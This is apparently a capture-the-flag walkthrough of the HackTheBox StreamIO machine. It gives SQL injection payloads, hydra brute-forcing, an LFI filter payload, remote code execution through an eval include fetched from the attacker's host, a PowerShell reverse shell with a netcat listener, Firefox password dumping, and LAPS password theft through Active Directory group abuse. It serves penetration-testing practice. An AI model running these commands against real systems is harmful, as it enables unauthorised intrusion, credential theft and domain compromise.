Hello Hackers! :)
In today’s article, we’re going to solve the StreamIO HackTheBox Active Directory machine. This was one of the toughest medium-level boxes I’ve tackled, involving extensive web work and a lot of enumeration, but it was a fun and rewarding challenge. Let’s not be scared and dive right in!
Scanning
Let’s start scanning using nmap fast scan
nmap -F -sV 10.10.11.158
We find some open ports including http,https and Domain Name: streamio.htb
Before doing anything i save domain name with server ip inside /etc/hosts file
Enumeration
After this i started enumerating port one by one, I tried enumerating different ports excluding 80 and 443 but nothing work not even found users :(
Now it’s time to move to port 80, after accessing port 80 i got default iis server page
I tried directory enumeration but found nothing :(
Then i move to port 443 and found a web
i started enumeration on this website too but sadly found nothing only “register”, “login page” and “/admin”
I register new user but when i tried logging in using that user it’s said Login Failed :(
Finding Subdomain
After trying different things i decide to try enumerating sub-domain using wfuzz tool
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://streamio.htb/ -H "Host: FUZZ.streamio.htb" --hw 24
Found watch.streamio.htb subdomain i add this domain inside /etc/hosts too.
After accessing this sub domain i got online stream movies web page
i started directory enumeration on this subdomain and got some interesting result
dirb https://watch.streamio.htb/ -X .php
i access these location one by one, inside blocked.php i found a malicious activity and block message
then i access search.php and find a input field with movies list
After little bit testing i found out “OR” statement is blacklisted so we can’t use this but “AND” statement is working so i tried using it but nothing is returned. I tried comment inject and it worked :)
got bunch of movies that have “in” word in it. After this i try finding number of coloumns using “UNION” caluse because we can’t use “ORDER BY”. After little bit work i find out that 6 number of column exists:
fjdf' UNION select 1,2,3,4,5,6--
Then i tried quering DB version:
fjdf' UNION select 1,@@version,3,4,5,6--
Let’s try enumerating database name using below query
fjdf' UNION select 1,(SELECT DB_NAME()),3,4,5,6--
Then i enumerate this database tables
fjdf' UNION SELECT 1, table_name, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.TABLES WHERE table_catalog='streamio'--
Finally i tried enumerating column of “users” table:
fjdf' UNION SELECT 1, column_name, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_catalog='streamio'--
then i dump username and password column using below query
fjdf' UNION SELECT 1, CONCAT(username, ':', password), 3, 4, 5, 6 FROM users--
I saved all this details in my kali linux, and it look like this:
Using hashcat i crack these hash
hashcat -m 0 dump_database.txt /usr/share/wordlists/rockyou.txt --username --show
I store them inside a file and as we know we had a login page where we can try these credentials. For that i separate user and password and store them in different file.
$ cut -d ":" -f1 cracked_creds.txt > user.txt
$ cat user.txt
admin
Barry
Bruno
Clara
hacker
Juliette
Lauren
Lenord
Michelle
Sabrina
Thane
Victoria
yoshihide
$ cut -d ":" -f3 cracked_creds.txt > pass.txt
$ cat pass.txt
paddpadd
$hadoW
$monique$1991$
%$clara
hacker
$3xybitch
##123a8j8w5123##
physics69i
!?Love?!123
!!sabrina$
highschoolmusical
!5psycho8!
66boysandgirls..
Using hydra and these creds list i tried brute forcing on login page
hydra -L user.txt -P pass.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:Login failed"
If you don’t know how to use hydra use this page: https://infinitelogins.com/2020/02/22/how-to-brute-force-websites-using-hydra/
Got valid credential using this i login into yoshihide account and as we know we have /admin directory we found during fuzzing i access this directory and got admin panel with some hyperlinks
While clicking on hyperlinks we can see parameter inside url
We had 4 hyperlinks and parameter we found are:
?user=
?staff=
?movie=
?message=
Given that these features utilize a PHP parameter to load dynamic content on the web page, there is a potential risk of Local File Inclusion (LFI) vulnerability.
I tried fuzzing these parameter using wfuzz tool but before that i had to find session cookie else our request will fail because if a request is made by an authenticated user, it will simply respond with “FORBIDDEN”.
Using inspect tool i find my session cookie :)
Then i start fuzzing but found nothing . After this i decided to fuzz for parameter using wfuzz
wfuzz -c -z file,/usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -b PHPSESSID=60rr3u6nmkr4jphak1qe0lenq9 --hw 131 "https://streamio.htb/admin/index.php?FUZZ="
and found a new parameter i.e. debug=
i tried fuzzing for LFI on this parameter
└─$ wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -b PHPSESSID=60rr3u6nmkr4jphak1qe0lenq9 --hw 137 "https://streamio.htb/admin/index.php?debug=FUZZ"
and found out this parameter is vulnerable :) and we can access win.ini file
I tried reading source code of index.php using filter method
https://streamio.htb/admin/index.php?debug=PHP://filter/convert.base64-encode/resource=index.php
After decoding base64 we get source code
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
header('HTTP/1.1 403 Forbidden');
die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Admin panel</title>
<link rel = "icon" href="/images/icon.png" type = "image/x-icon">
<!-- Basic -->
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<!-- Mobile Metas -->
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<!-- Site Metas -->
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta name="author" content="" />
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
<!-- Custom styles for this template -->
<link href="/css/style.css" rel="stylesheet" />
<!-- responsive style -->
<link href="/css/responsive.css" rel="stylesheet" />
</head>
<body>
<center class="container">
<br>
<h1>Admin panel</h1>
<br><hr><br>
<ul class="nav nav-pills nav-fill">
<li class="nav-item">
<a class="nav-link" href="?user=">User management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?staff=">Staff management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?movie=">Movie management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?message=">Leave a message for admin</a>
</li>
</ul>
<br><hr><br>
<div id="inc">
<?php
if(isset($_GET['debug']))
{
echo 'this option is for developers only';
if($_GET['debug'] === "index.php") {
die(' ---- ERROR ----');
} else {
include $_GET['debug'];
}
}
else if(isset($_GET['user']))
require 'user_inc.php';
else if(isset($_GET['staff']))
require 'staff_inc.php';
else if(isset($_GET['movie']))
require 'movie_inc.php';
else
?>
</div>
</center>
</body>
</html>base64: invalid input
In this we found username and password, but as we already know database is not accessible from outside So we can’t do anything with these creds :(
Then i tried finding fuzzing files inside /admin/ location
wfuzz -c -z file,/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -b PHPSESSID=60rr3u6nmkr4jphak1qe0lenq9 --hw 95,131 "https://streamio.htb/admin/FUZZ.php"
and got a master.php using same method i got master.php page source code
https://streamio.htb/admin/index.php?debug=PHP://filter/convert.base64-encode/resource=master.php
I stored base64 code inside a file named as master.base64 and using same base64 -d method i decode this
cat master.base64 | base64 -d
at the end of the source code there’s a ‘eval’ function:
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
Using the `eval` function with user input is highly insecure. Instead, we need to send a POST request to “master.php” with a parameter named “include”. Since it utilizes `file_get_contents`, we should specify a file, which can be hosted on our Kali machine. Therefore, let’s create a PHP script containing the following code:
system("dir C:\\");
i save this inside a file and host using python server and using burp with post request i send this file in include parameter and in response i get directories inside C:\
It work as expected :) now it’s time to gain shell
Using https://www.revshells.com/ i generated a powershell reverse shell
Then i added this shell inside my dir.php
system("powershell -e ...");
and started netcat listner on port 1234
nc -nvlp 1234
same as before i send the request and after few seconds i get shell :)
After this i started enumerating directories but found nothing interesting after checking ports using netstat i find 1443 port is running
S C:\inetpub\streamio.htb\admin> netstat -nat
Active Connections
Proto Local Address Foreign Address State Offload State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING InHost
And we already found a db_admin password before using where.exe i try finding sqlcmd windows utility
PS C:\inetpub\watch.streamio.htb> where.exe sqlcmd
C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE
and using sqlcmd and found creds i find database and user hash
PS C:\inetpub\watch.streamio.htb> sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "SELECT name FROM sys.databases;"
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
STREAMIO
streamio_backup
PS C:\inetpub\watch.streamio.htb> sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'"
table_name
--------------------------------------------------------------------------------------------------------------------------------
movies
users
(2 rows affected)
PS C:\inetpub\watch.streamio.htb> sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"
id username password
----------- -------------------------------------------------- --------------------------------------------------
1 nikk37 389d14cb8e4e9b94b137deb1caf0612a
2 yoshihide b779ba15cedfd22a023c4d8bcf5f2332
3 James c660060492d9edcaa8332d89c99c9239
4 Theodore 925e5408ecb67aea449373d668b7359e
5 Samantha 083ffae904143c4796e464dac33c1f7d
6 Lauren 08344b85b329d7efd611b7a7743e8a09
7 William d62be0dc82071bccc1322d64ec5b6c51
8 Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
here nikk37 is new user, Using crackstation i crack this user hash
Using crackmapexec with this creds i find these are valid creds and we can login using these creds :)
$ crackmapexec smb 10.10.11.158 -u nikk37 -p 'get_dem_girls2@yahoo.com'
SMB 10.10.11.158 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.158 445 DC [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com
Using evil-winrm i access this user shell
Inside Desktop i found user.txt
I tried enumerating this box but found nothing but later inside program files i found firefox is installed and we can try to dump password if exist.
For verifying user profile exist or not i tried finding user firefox profile and found inside location
C:\Users\nikk37\appdata\Roaming\Mozilla\Firefox\Profiles\
Now it’s time to download “key4.db” and “logins.json” for dumping passwords and same as before using download option i downloaded these files inside firepwd tool directory
If you don’t have firepwd you can install that from here
Using firepwd tool i found some users and credentials
$ python3 firepwd.py
globalSalt: b'd215c391179edb56af928a06c627906bcbd4bd47'
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'5d573772912b3c198b1e3ee43ccb0f03b0b23e46d51c34a2a055e00ebcd240f5'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'1baafcd931194d48f8ba5775a41f'
}
}
}
OCTETSTRING b'12e56d1c8458235a4136b280bd7ef9cf'
}
clearText b'70617373776f72642d636865636b0202'
password check? True
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'098560d3a6f59f76cb8aad8b3bc7c43d84799b55297a47c53d58b74f41e5967e'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'e28a1fe8bcea476e94d3a722dd96'
}
}
}
OCTETSTRING b'51ba44cdd139e4d2b25f8d94075ce3aa4a3d516c2e37be634d5e50f6d2f47266'
}
clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
I stored username and password in file for using them with crackmapexec
crackmapexec smb 10.10.11.158 -u new_user.txt -p new_pass.txt
and we got hit
But sadly we can’t gain shell as JDgodd user :(
After this i get back to nikk37 user shell and uploaded SharpHound.exe for bloodhound and using evil-winrm “download” option i downloaded zip file.
Inside bloodhound i upload that zip file and everything setup perfectly :)
After some searching i found that JDGODD “Owns” and has “WriteOwner” privilege overt the “CORE STAFF” group.
If i do the same thing for this group:
We can see that the users that are part of this group and have “ReadLAPSPassword” privilege over the “DC.STREAMIO.HTB” computer, which is the one i have a shell as “nikk37”. If we can read LAPS password, we can obtain the Administrator password and login as him, obtaining domain compromise.
For this i uploaded “powerview” inside nikk37 user shell as we can’t grab shell as JDgodd user but can execute command using his credentials :)
First Import powerview module
*Evil-WinRM* PS C:\Users\nikk37\Documents> Import-Module .\powerview.ps1
Then i Created a PowerShell credential object for JDgodd.
*Evil-WinRM* PS C:\Users\nikk37\Documents> $username = "JDgodd"
*Evil-WinRM* PS C:\Users\nikk37\Documents> $password = ConvertTo-SecureString "JDg0dd1s@d0p3cr3@t0r" -AsPlainText -Force
*Evil-WinRM* PS C:\Users\nikk37\Documents> $cred = New-Object System.Management.Automation.PSCredential($username, $password)
Use JDgodd’s WriteOwner privilege to add himself to the CORE STAFF group.
*Evil-WinRM* PS C:\Users\nikk37\Documents> Add-DomainGroupMember -Identity "CORE STAFF" -Members "JDgodd" -Credential $cred
Verify Membership of JDgodd in CORE STAFF:
*Evil-WinRM* PS C:\Users\nikk37\Documents> Get-DomainGroupMember -Identity "CORE STAFF"
GroupDomain : streamIO.htb
GroupName : CORE STAFF
GroupDistinguishedName : CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb
MemberDomain : streamIO.htb
MemberName : JDgodd
MemberDistinguishedName : CN=JDgodd,CN=Users,DC=streamIO,DC=htb
MemberObjectClass : user
MemberSID : S-1-5-21-1470860369-1569627196-4264678630-1104
Using the below command to query the ms-Mcs-AdmPwd attribute, which stores the LAPS password.
*Evil-WinRM* PS C:\Users\nikk37\Documents> $lapsPassword = Get-ADComputer -Identity DC -Properties ms-Mcs-AdmPwd -Credential $cred | Select-Object -ExpandProperty 'ms-Mcs-AdmPwd'
Obtaining the Administrator Password:
*Evil-WinRM* PS C:\Users\nikk37\Documents> Write-Output "LAPS Password for DC: $lapsPassword"
LAPS Password for DC: 6(ex5r1ar75y2J
Now using found creds with evil-winrm i login as administrator
I found root flag inside “Martin” user
*Evil-WinRM* PS C:\Users\Martin\Desktop> dir
Directory: C:\Users\Martin\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/24/2024 3:09 PM 34 root.txt
BOOMM!! StreamIO Solved Successfully :)